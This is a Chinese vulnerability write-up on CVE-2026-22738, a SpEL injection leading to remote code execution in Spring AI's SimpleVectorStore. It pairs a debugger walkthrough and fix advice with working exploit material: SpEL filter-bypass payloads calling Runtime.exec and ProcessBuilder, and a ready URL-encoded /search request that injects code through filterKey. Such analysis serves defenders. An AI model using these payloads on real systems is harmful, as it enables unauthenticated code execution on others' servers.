CVE-2026-22738-Spring AI SimpleVectorStore 中的 SpEL 注入导致远程代码执行漏洞分析
前言
https://xz.aliyun.com/news/91936



SpEL简介
Spring Expression Language(SpEL)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。语法类似 OGNL、MVEL 和 JBoss EL,提供了方法调用和字符串模板等便利功能。SpEL 是 Spring 产品组合中表达式评估的基础,但也可以独立使用。在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext 中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。
SPEL特性
- 使用Bean的ID来引用Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
SPEL类类型表达式T(Type)
在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法,即可以通过类类型表达式来操作类
使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,java.lang包下的类除外,因为SpEL已经内置了该包,因此该包下的类可以不指定包名。类类型表达式还可以访问类的静态方法与类静态字段
eg:
public class Spel {
public static void main(String[] args) {
String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();;
Expression result2 = parser.parseExpression(expression2);
System.out.println(result2.getValue(Class.class));
}
}
在 SpEL 中,T(类型) 运算符用于引用指定类型的 Class 对象,相当于获取该类型的运行时类元数据。基于此,我们可以调用 Runtime 类的静态方法 getRuntime() 获取其实例,进而执行系统命令。
SPEL表达式用法
SpEL 的典型使用方式主要有以下三种:
- 注解方式:通过
@Value注解,例如@Value("#{systemProperties['user.home']}") - XML 配置方式:在 Spring 的 XML 配置文件中使用
#{...}表达式,例如<property name="defaultLocale" value="#{systemProperties['user.region']}" /> - 编程方式:在 Java 代码中直接创建
ExpressionParser解析表达式,例如new SpelExpressionParser().parseExpression("...").getValue()
这块着重介绍一下第3种
Expression用法
后续分析的SpringCVE漏洞都是基于Expression形式的SpEL表达式注入,因此这里单独说明一下该种形式的用法
Expression用法分为四步:首先构造一个解析器,其次使用解析器去解析字符串表达式,然后构造上下文,最后根据上下文得到表达式运算后的值(其中第三步可以省略)
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Drunkbaby').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
应用的示例如下,和xml配置的用法区别为:xml配置解析时,需要界定符#{}来注明SpEL表达式,而Expression用法,会将传入parseExpression方法的字符串直接当成SpEL表达式来解析
public class ExpressionCalc {// 字符串字面量
public static void main(String[] args) {
// 操作类弹计算器,当然java.lang包下的类是可以省略包名的
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
// String spel = "T(Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}
具体步骤如下:
- 创建解析器:SpEL 使用
ExpressionParser接口表示解析器,提供SpelExpressionParser默认实现; - 解析表达式:使用
ExpressionParser的parseExpression来解析相应的表达式为Expression对象; - 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
- 求值:通过
Expression接口的getValue方法根据上下文获得表达式值;
SpEL 调用流程:
创建解析器 → 解析表达式 → 注册变量(可选) → 求值
SPEL表达式漏洞注入
漏洞原理
SimpleEvaluationContext 和 StandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext:
- SimpleEvaluationContext : 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
- StandardEvaluationContext : 公开全套 SpEL 语言功能和配置选项。可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用;而 StandardEvaluationContext 是支持全部 SpEL 语法的。
SpEL表达式可以操作类及其方法,可以通过类类型表达式T(Type)来调用任意方法。因为在不指定EvaluationContext的情况下,默认采用的是StandardEvaluationContext,它包含了SpEL的所有功能,在允许用户输入情况下,可以造成任意命令执行
基础Bypass
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
目录
1. 漏洞概述
1.1 基本信息
|
属性 |
值 |
|
CVE ID |
CVE-2026-22738 |
|
CVSS 评分 |
9.8 (CRITICAL) |
|
CWE 分类 |
CWE-94 (代码注入), CWE-917 (表达式语言注入) |
|
影响组件 |
|
|
受影响版本 |
1.0.0 – 1.0.4, 1.1.0-M1 – 1.1.3 |
|
修复版本 |
1.0.5, 1.1.4 |
|
修复提交 |
ba9220b22383e430d5f801ce8e4fa01cf9e75f29 |
1.2 漏洞描述
CVE-2026-22738 是 Spring AI 框架中 SimpleVectorStore 组件的 SpEL (Spring Expression Language) 注入漏洞。攻击者可以通过构造恶意的过滤表达式键名,在未经身份验证的情况下执行任意操作系统命令。
在 Spring AI 中,当用户提供的值被用作过滤表达式(filter expression)的键(key)时,SimpleVectorStore 中存在 SpEL 注入漏洞。恶意攻击者可利用此漏洞执行任意代码。仅当应用程序使用了 SimpleVectorStore,并且将用户输入作为过滤表达式的键进行传递时,才会受此漏洞影响。该问题影响以下 Spring AI 版本:
- 从 1.0.0 至 1.0.5 之前(即 1.0.0 ≤ 版本 < 1.0.5)
- 从 1.1.0 至 1.1.4 之前(即 1.1.0 ≤ 版本 < 1.1.4)

1.3 危害等级
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- 攻击向量 (AV): 网络 (Network) - 可远程利用
- 攻击复杂度 (AC): 低 (Low) - 无需特殊条件
- 权限要求 (PR): 无 (None) - 无需认证
- 用户交互 (UI): 无 (None) - 无需用户参与
- 影响范围 (S): 未改变 (Unchanged)
- 机密性影响 (C): 高 (High) - 可读取任意数据
- 完整性影响 (I): 高 (High) - 可修改任意数据
- 可用性影响 (A): 高 (High) - 可导致服务中断
2. 技术原理深度剖析
2.1 Spring Expression Language (SpEL) 简介
SpEL 是 Spring 框架的核心表达式语言,提供以下能力:
// SpEL 基本用法示例
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
String result = exp.getValue(String.class); // "Hello World!"
// 访问 Java 类
Expression exp2 = parser.parseExpression("T(java.lang.Math).sqrt(16)");
Double result2 = exp2.getValue(Double.class); // 4.0
// 执行系统命令 (危险!)
Expression exp3 = parser.parseExpression(
"T(java.lang.Runtime).getRuntime().exec('calc.exe')"
);
exp3.getValue(); // 执行 calc.exe
2.2 StandardEvaluationContext 的危险性
- Standard:/ˈstændərd/(斯坦达德)
- Evaluation:/ɪˌvæljuˈeɪʃən/(伊瓦柳艾申)
- Context:/ˈkɑːntekst/(康泰克斯特)
SpEL 有两种评估上下文:
|
上下文类型 |
安全性 |
功能 |
|
|
安全 |
仅支持基本表达式,禁止反射和类加载 |
|
|
危险 |
完整功能,可访问 JVM 反射 API |
CVE-2026-22738 的核心问题:SimpleVectorStore 使用了 StandardEvaluationContext!
// 漏洞代码位置 (简化版)
public class SimpleVectorStore implements VectorStore {
private ExpressionParser parser = new SpelExpressionParser();
// 危险:使用 StandardEvaluationContext
private EvaluationContext evalContext = new StandardEvaluationContext();
public List<Document> similaritySearch(SearchRequest request) {
String filterExpression = convertFilterToSpEL(request.getFilterExpression());
// filterExpression 可能包含恶意代码!
Expression exp = parser.parseExpression(filterExpression);
exp.getValue(evalContext); // 执行恶意代码
// ...
}
}
2.3 漏洞调试分析
编写测试demo:

这是一个基于 Spring AI 的向量检索服务,提供了一个 /search 接口。用户可以通过 filterKey 和 filterValue 参数指定文档元数据的过滤条件。然而,由于 SimpleVectorStore 内部对过滤键的处理使用了危险的 SpEL 解析器,攻击者可以在 filterKey 中注入任意代码,实现远程命令执行(RCE)。
下面可以看一下下面的demo项目引用了存在漏洞的SimpleVectorStore

将构造好的payload对 /search 发起攻击请求

GET /search?filterKey=%22%27%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec(%27calc%27)%20%2B%20%23metadata%5B%27%22&filterValue=any HTTP/1.1
Host: localhost:8080
...
URL 解码后的 filterKey 为:"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
这个 payload 的目的是 闭合 #metadata['...'] 字符串并注入 SpEL 代码,具体原理见下文。
漏洞根源:filterKey 完全由用户控制,直接参与 FilterExpression 构建,而它是Spring AI 框架中用于构建向量存储(Vector Store)查询过滤表达式的构建器。使用向量数据库(如 Chroma、Pinecone、Redis Search 等)时,通常需要先根据元数据条件过滤出文档,再对过滤后的文档做向量相似性搜索。FilterExpressionBuilder 就是用来以类型安全的方式构造这种过滤条件的,避免手写字符串表达式。

简单用法示例:
FilterExpressionBuilder builder = new FilterExpressionBuilder();
Op filter = builder.and(
builder.eq("country", "CN"),
builder.gt("price", 100)
);
// 生成的过滤条件相当于:(country == "CN") AND (price > 100)
支持的操作符:
- 比较:
eq、ne、gt、gte、lt、lte - 逻辑:
and、or、not - 集合:
in、nin - 分组:
group

补充解释:
在 Spring AI 中,SearchRequest 被设计为不可变类(所有字段 final,没有 setter 方法)。
这意味着你无法先创建一个空对象再通过 setter 逐个赋值,也不能修改已有实例。
因此,必须通过 Builder 模式来一次性提供所有参数,生成一个不可变的实例。
当前代码中 filterExpression 是由用户输入的 filterKey 和 filterValue 动态构造的。
Spring AI 并没有提供一个可以直接接受 Filter.Expression 的构造函数(或者即使有,参数顺序多、可读性差)。
Builder 模式允许你只设置必要的字段(query、filterExpression、topK),其他字段使用默认值,代码更清晰。随后,构造好的 SearchRequest 对象被传入 vectorStore.similaritySearch() 方法,正式触发漏洞执行。

@GetMapping("/search")
public String search(@RequestParam String filterKey, @RequestParam String filterValue) {
// 漏洞根源:filterKey 完全由用户控制,直接参与 FilterExpression 构建
Filter.Expression filterExpression = new FilterExpressionBuilder()
.eq(filterKey, filterValue).build();
SearchRequest searchRequest = SearchRequest.builder()
.query("test")
.filterExpression(filterExpression) // ← 恶意表达式进入检索流程
.topK(1)
.build();
vectorStore.similaritySearch(searchRequest); // ← 触发 SpEL 解析
return "Executed with filterKey: " + filterKey;
}
继续步入进入vectorStore.similaritySearch(searchRequest); 直接跳到AbstractObservationVectorStore.similaritySearch,该方法最终调用 this.doSimilaritySearch(request)。所以漏洞触发点仍在 SimpleVectorStore.doSimilaritySearch → doFilterPredicate。
补充解释:
这里构建了一个 VectorStoreObservationContext 对象,记录了操作类型(查询)、查询请求等信息,用于后续的观测数据收集。

接着进入 Observation 接口中,openScope() 方法用于打开一个观测作用域,返回一个 Scope 对象。这个作用域会将当前观测绑定到当前线程,使得在该作用域内的代码可以通过 ObservationRegistry.getCurrentObservation() 获取到这个观测,用于嵌套观测或上下文传递。
为什么会进入openScope()
在 AbstractObservationVectorStore.similaritySearch() 中,代码类似:
return VectorStoreObservationDocumentation.AI_VECTOR_STORE
.observation(...)
.observe(() -> {
List<Document> documents = this.doSimilaritySearch(request);
// ...
return documents;
});
Observation.observe(Supplier) 的默认实现 如下
default <T> T observe(Supplier<T> supplier) {
this.start();
try {
Scope scope = this.openScope(); // <-- 停在这里
try {
return supplier.get();
} finally {
scope.close();
}
} catch (Throwable error) {
this.error(error);
throw error;
} finally {
this.stop();
}
}
因此,openScope() 是在执行业务逻辑 doSimilaritySearch 之前被调用的。当单步调试时,可能先进入了 observe 方法,然后执行到 openScope()。此时恶意 SpEL 表达式还没有执行。之后 supplier.get() 才会调用 doSimilaritySearch,进而触发漏洞。



接着进入predicate 的构造和执行过程
- 只是创建了一个 lambda 对象(一个
Predicate实例),并没有执行其内部代码。 - 如果
request.hasFilterExpression()为true,返回的 predicate 内部包含了危险逻辑;否则返回(document) -> true(无害)。

接着又跳到了下面的位置
1. 条件判断 request.hasFilterExpression()
如果请求中没有 FilterExpression(即用户没有提供过滤条件),则返回 (document) -> true,表示所有文档都通过过滤。
2. 返回的 lambda(危险负载)
这个 lambda 是一个 Predicate<SimpleVectorStoreContent>,它的 test 方法会在后面 stream().filter() 时被每个文档调用。lambda 内部做了三件事:
创建 StandardEvaluationContext
new StandardEvaluationContext() 创建了一个功能完整的 SpEL 评估上下文,允许访问任意 Java 类、调用静态方法、实例化对象。这是漏洞的根本原因。
将文档元数据注入为变量 metadata
context.setVariable("metadata", document.getMetadata()) 使得在 SpEL 表达式中可以通过 #metadata['fieldName'] 访问文档的元数据字段。
转换并执行 SpEL 表达式
filterExpressionConverter.convertExpression(request.getFilterExpression()) 将用户构造的 Filter.Expression 转换为字符串,例如 #metadata['category'] == 'security'。
关键:转换过程直接将用户控制的 key 拼接到字符串中,不做任何转义。
expressionParser.parseExpression(...).getValue(context, Boolean.class) 解析并执行该 SpEL 表达式,期望返回布尔值。




从源码中可以看到,当你创建一个 StandardEvaluationContext 实例(例如 new StandardEvaluationContext())时,虽然很多成员变量初始为 null,但当你首次调用相应的 getXxx() 方法时,会通过 initXxx() 方法懒加载一系列功能强大的解析器/访问器。


下面的有
①属性访问器(PropertyAccessors)
ReflectivePropertyAccessor:使用 Java 反射读取/写入任何对象的属性,甚至可以访问私有字段(通过 setAccessible(true))。攻击者可以利用它读取敏感信息或修改对象状态。

②构造器解析器(ConstructorResolvers)
ReflectiveConstructorResolver:允许 SpEL 表达式使用 new 关键字实例化任意对象。攻击者可以创建 java.io.FileWriter 写文件,或创建 java.lang.ProcessBuilder 执行命令。

③方法解析器(MethodResolvers)
ReflectiveMethodResolver:允许 SpEL 调用任何对象的公共方法(包括静态方法)。攻击者可直接调用 Runtime.getRuntime().exec()。

④类型定位器(TypeLocator)
StandardTypeLocator:默认情况下,它允许 SpEL 使用 T(java.lang.String) 等形式引用任何 JDK 类(java.lang 包无需导入),还可以通过 registerImport 添加其他包。攻击者利用 T(java.lang.Runtime) 直接获得 Class 对象,进而调用静态方法。

从上面可以看到,StandardEvaluationContext 在首次使用时,会自动装配:
- 反射属性访问器 → 可以读写任意对象的任意字段
- 反射构造器解析器 → 可以
new任意对象 - 反射方法解析器 → 可以调用任意方法
- 类型定位器 → 可以用
T(...)引用任意类



第二轮调用才触发

3. 漏洞触发流程
3.1 完整调用链
HTTP GET /search?filterKey=恶意字符串
↓
VulnController.search()
↓
new FilterExpressionBuilder().eq(filterKey, filterValue).build()
↓
SearchRequest.builder().filterExpression(...).build()
↓
vectorStore.similaritySearch(searchRequest)
↓
AbstractObservationVectorStore.similaritySearch() // 观测包装
↓
observation.observe(() -> doSimilaritySearch(request))
↓
SimpleVectorStore.doSimilaritySearch()
↓
doFilterPredicate(request) // 返回一个包含恶意 lambda 的 Predicate
↓
store.values().stream().filter(documentFilterPredicate)
↓
lambda 内部执行:
StandardEvaluationContext context = new StandardEvaluationContext()
context.setVariable("metadata", document.getMetadata())
String spel = filterExpressionConverter.convertExpression(request.getFilterExpression())
expressionParser.parseExpression(spel).getValue(context, Boolean.class)
↓
SpEL 解析执行恶意代码 → Runtime.exec("calc") → 弹出计算器
3.2 表达式转换过程
// 1. 用户输入
filterKey = "category"
filterValue = "security"
// 2. FilterExpressionBuilder 生成的 Filter.Expression
Filter.Expression {
type: EQ
key: "category"
value: "security"
}
// 3. 转换为 SpEL 表达式
// SimpleVectorStore 内部转换逻辑
String spelExpression = "#metadata['category'] == 'security'";
// 4. 恶意输入
filterKey = "\"'] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata['\""
// 5. 转换后的恶意 SpEL 表达式
String maliciousSpEL = "#metadata[''] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata[''] == 'x'";
3.3 关键代码路径分析
// SimpleVectorStore.java (更准确的简化)
protected List<Document> doSearch(SearchRequest request) {
Filter.Expression filterExpr = request.getFilterExpression();
if (filterExpr == null) {
// 无条件过滤,返回所有文档
return documents;
}
// 返回一个 Predicate,用于 stream 过滤
Predicate<Document> predicate = doc -> {
// ⚠️ 危险:每次调用都创建 StandardEvaluationContext
StandardEvaluationContext ctx = new StandardEvaluationContext();
ctx.setVariable("metadata", doc.getMetadata());
// ⚠️ 危险:转换表达式时直接拼接用户输入的 key
String spel = convertToSpEL(filterExpr); // 例如: #metadata['用户输入的key'] == '用户输入的value'
// 如果用户输入的 key 包含 '] + T(Runtime).exec('calc') + ' ,则 spel 变为:
// #metadata[''] + T(Runtime).exec('calc') + #metadata[''] == 'value'
Boolean matches = parser.parseExpression(spel).getValue(ctx, Boolean.class);
return matches;
};
return documents.stream().filter(predicate).collect(Collectors.toList());
}
4.2 成功的绕过技术
技术核心:双引号包装器
filterKey = "\"'] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata['\""
解析过程:
- 解析器检测到双引号开头
" - 将内容视为带引号的字符串
- 剥离外部双引号,保留内部内容:
'] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata['
- 嵌入 SpEL 模板:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata[''] == 'x'
4.3 空元数据键的作用
为什么使用 #metadata[''] 而不是其他变量?
// #metadata 是 SimpleVectorStore 注入的有效变量
// 它代表文档的元数据 Map
EvaluationContext ctx = new StandardEvaluationContext();
ctx.setVariable("metadata", document.getMetadata());
// #metadata[''] 返回 null(空键不存在)
// 但不会抛出 "unknown variable" 错误
Object value = ctx.lookupVariable("metadata"); // 返回 Map
Object emptyKey = ((Map) value).get(""); // 返回 null
// 如果使用未定义的变量,如 #foo
ctx.lookupVariable("foo"); // 抛出异常!
4.4 最终 Payload 结构
原始 Payload:
"'] + T(java.lang.Runtime).getRuntime().exec(new String[]{"cmd.exe","/c","calc.exe"}) + #metadata['"
解析后的 SpEL 表达式:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{"cmd.exe","/c","calc.exe"}) + #metadata[''] == 'x'
执行过程:
1. #metadata[''] → null
2. T(java.lang.Runtime).getRuntime().exec(...) → ProcessImpl 对象
3. null + ProcessImpl → 抛出 EL1030E 错误
4. 但 exec() 已经执行完毕!
5.1 其他 VectorStore 实现
|
VectorStore |
是否使用 SpEL |
潜在风险 |
|
|
✅ 是 |
已确认漏洞 |
|
|
❓ 待确认 |
可能存在类似问题 |
|
|
❓ 待确认 |
可能存在类似问题 |
|
|
❓ 待确认 |
可能存在类似问题 |
|
|
❓ 待确认 |
可能存在类似问题 |
|
|
❓ 待确认 |
可能存在类似问题 |
|
|
❓ 待确认 |
可能存在类似问题 |
5.2 其他表达式注入点
5.2.1 ChatClient / Advisor
// 可能存在表达式注入的地方
ChatClient.builder()
.defaultAdvisor(new QuestionAnswerAdvisor(vectorStore,
SearchRequest.builder()
.filterExpression(userInput) // 危险!
.build()))
.build();
5.2.2 Function Calling
// 函数描述可能存在注入
FunctionCallback.builder()
.name(userInput) // 危险?
.description(userInput) // 危险?
.build();
5.2.3 Prompt Template
// Prompt 模板可能存在注入
PromptTemplate template = new PromptTemplate(userTemplate);
// 如果模板引擎支持 SpEL,可能存在注入
6. 防御建议
6.1 立即升级
<!-- 升级到安全版本 -->
<properties>
<spring-ai.version>1.0.5</spring-ai.version>
<!-- 或 -->
<spring-ai.version>1.1.4</spring-ai.version>
</properties>
6.2 输入验证
// 白名单验证
public class FilterKeyValidator {
private static final Pattern SAFE_KEY = Pattern.compile("^[a-zA-Z0-9_]+$");
public static String validate(String key) {
if (!SAFE_KEY.matcher(key).matches()) {
throw new IllegalArgumentException("Invalid filter key");
}
return key;
}
}
// 使用
@GetMapping("/search")
public String search(@RequestParam String filterKey, @RequestParam String filterValue) {
String safeKey = FilterKeyValidator.validate(filterKey);
// ...
}
6.3 安全编码最佳实践
修改后的demo环境代码
package com.example.spelrce;
import jakarta.annotation.PostConstruct;
import org.springframework.ai.document.Document;
import org.springframework.ai.vectorstore.SearchRequest;
import org.springframework.ai.vectorstore.SimpleVectorStore;
import org.springframework.ai.vectorstore.filter.Filter;
import org.springframework.ai.vectorstore.filter.FilterExpressionBuilder;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.server.ResponseStatusException;
import java.util.List;
import java.util.Map;
import java.util.Set;
/**
* 已修复 CVE-2026-22738 漏洞的控制器
* 采用“数据与逻辑分离”及“严格白名单”的最佳实践防御 SpEL 注入
*/
@RestController
public class VulnController {
private final SimpleVectorStore vectorStore;
// 💡 防御建议落地:定义严格的元数据键名白名单
// 仅允许查询应用业务逻辑中实际存在的 metadata key
private static final Set<String> ALLOWED_FILTER_KEYS = Set.of(
"category",
"author",
"status",
"doc_type"
);
public VulnController(SimpleVectorStore vectorStore) {
this.vectorStore = vectorStore;
}
@PostConstruct
public void init() {
System.out.println("========================================");
System.out.println("[✓] VulnController 初始化成功!");
System.out.println("[✓] 正在添加种子数据到 SimpleVectorStore...");
Document doc1 = new Document("1", "This is a test document about security", Map.of("category", "security"));
Document doc2 = new Document("2", "This is another document about AI", Map.of("category", "ai"));
vectorStore.add(List.of(doc1, doc2));
System.out.println("[✓] 种子数据添加完成!");
System.out.println("[✓] /search 端点已注册 (已应用白名单防御)");
System.out.println("========================================");
}
@GetMapping("/health")
public String health() {
return "Service is running. VulnController is active and secured.";
}
@GetMapping("/search")
public String search(@RequestParam String filterKey, @RequestParam String filterValue) {
// 💡 防御建议落地:执行白名单校验,拒绝所有非预期输入
// 任何试图构造 SpEL 注入(如包含单引号、括号或 T(java.lang...))的恶意 key 都会在这里被直接拦截
if (!ALLOWED_FILTER_KEYS.contains(filterKey)) {
// 返回 400 错误,不暴露过多内部信息
throw new ResponseStatusException(HttpStatus.BAD_REQUEST, "Invalid filter parameter provided.");
}
// 只有通过白名单的安全 key 才会进入表达式构建流程
Filter.Expression filterExpression = new FilterExpressionBuilder()
.eq(filterKey, filterValue).build();
SearchRequest searchRequest = SearchRequest.builder()
.query("test")
.filterExpression(filterExpression)
.topK(1)
.build();
vectorStore.similaritySearch(searchRequest);
return "Executed with safe filterKey: " + filterKey;
}
}
7. 总结
7.1 漏洞关键点
- 根本原因:
SimpleVectorStore使用StandardEvaluationContext评估用户可控的 SpEL 表达式 - 触发条件:
FilterExpressionBuilder.key()可被非法绕过 - 绕过技术: 双引号包装器绕过单引号剥离机制
- 利用结果: 未经身份验证的远程代码执行
7.2 影响范围
- 所有使用 Spring AI 1.0.0–1.0.4 或 1.1.0-M1–1.1.3 的应用
- 暴露了
SimpleVectorStore.similaritySearch()端点的应用 - 允许用户控制过滤表达式的应用
参考资料
- Spring AI 官方文档
- Spring Expression Language (SpEL) 文档
- CWE-94: Improper Control of Generation of Code
- CWE-917: Expression Language Injection
- 修复提交: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
- https://xz.aliyun.com/news/8744
- https://curlysean.github.io/2025/03/25/SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
http://localhost:8080/search?filterKey=%22%27%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec(%27calc%27)%20%2B%20%23metadata%5B%27%22&filterValue=any
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)